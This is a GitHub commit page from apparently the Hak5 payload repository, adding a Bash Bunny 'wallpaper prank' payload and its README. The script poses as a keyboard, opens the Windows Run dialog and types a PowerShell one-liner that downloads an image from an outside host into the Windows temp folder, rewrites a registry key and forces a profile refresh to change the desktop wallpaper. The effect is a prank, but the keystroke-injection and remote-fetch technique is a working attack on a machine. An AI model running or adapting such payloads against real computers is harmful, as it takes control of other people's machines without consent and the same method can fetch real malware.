Added wallpaper prank payload re: Hak5 episode 2502

pull/364/head
Darren Kitchen 2019-01-09 10:58:36 -08:00 committed by GitHub
parent 820576a103
commit d386f07d8e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 32 additions and 0 deletions

View File

@ -0,0 +1,14 @@
# Wallpaper Changer OF DOOM!!!!
# Author: Hak5Darren
# Props: Alex Goat
# Demo: Hak5 episode 2502 - https://youtu.be/f3C58OKOsuo
# Target: Windows Vista+
# Category: Prank
LED SETUP
ATTACKMODE HID
LED ATTACK
Q GUI r
Q DELAY 500
Q STRING "cmd /C \"start /MIN powershell iwr -Uri http://h4k.cc/b.jpg -OutFile c:\windows\temp\b.jpg;sp 'HKCU:Control Panel\Desktop' WallPaper 'c:\windows\temp\b.jpg';\$a=1;do{RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 1}while(\$a++-le59)\""
Q ENTER

View File

@ -0,0 +1,18 @@
# Wallpaper Changer of DOOM!!!!
* Author: Hak5Darren
* Props: Alex Goat
* Demo: Hak5 episode 2502 - https://youtu.be/f3C58OKOsuo
* Target: Windows Vista+
* Category: Prank
## Description
Single stage powershell one-liner executes from run dialog. CMD opens a minimized powershell window which downloads b.jpg (change this URL) to c:\windows\temp then sets the registry entry to change the wallpaper, then finally loops over an undocumented USER32.DLL feature for 60 seconds to force a user profile refresh.
## STATUS
| LED | Status |
| ----------------- | -------------------------------------- |
| SETUP | Setting attack mode |
| ATACK | Injecting keystrokes |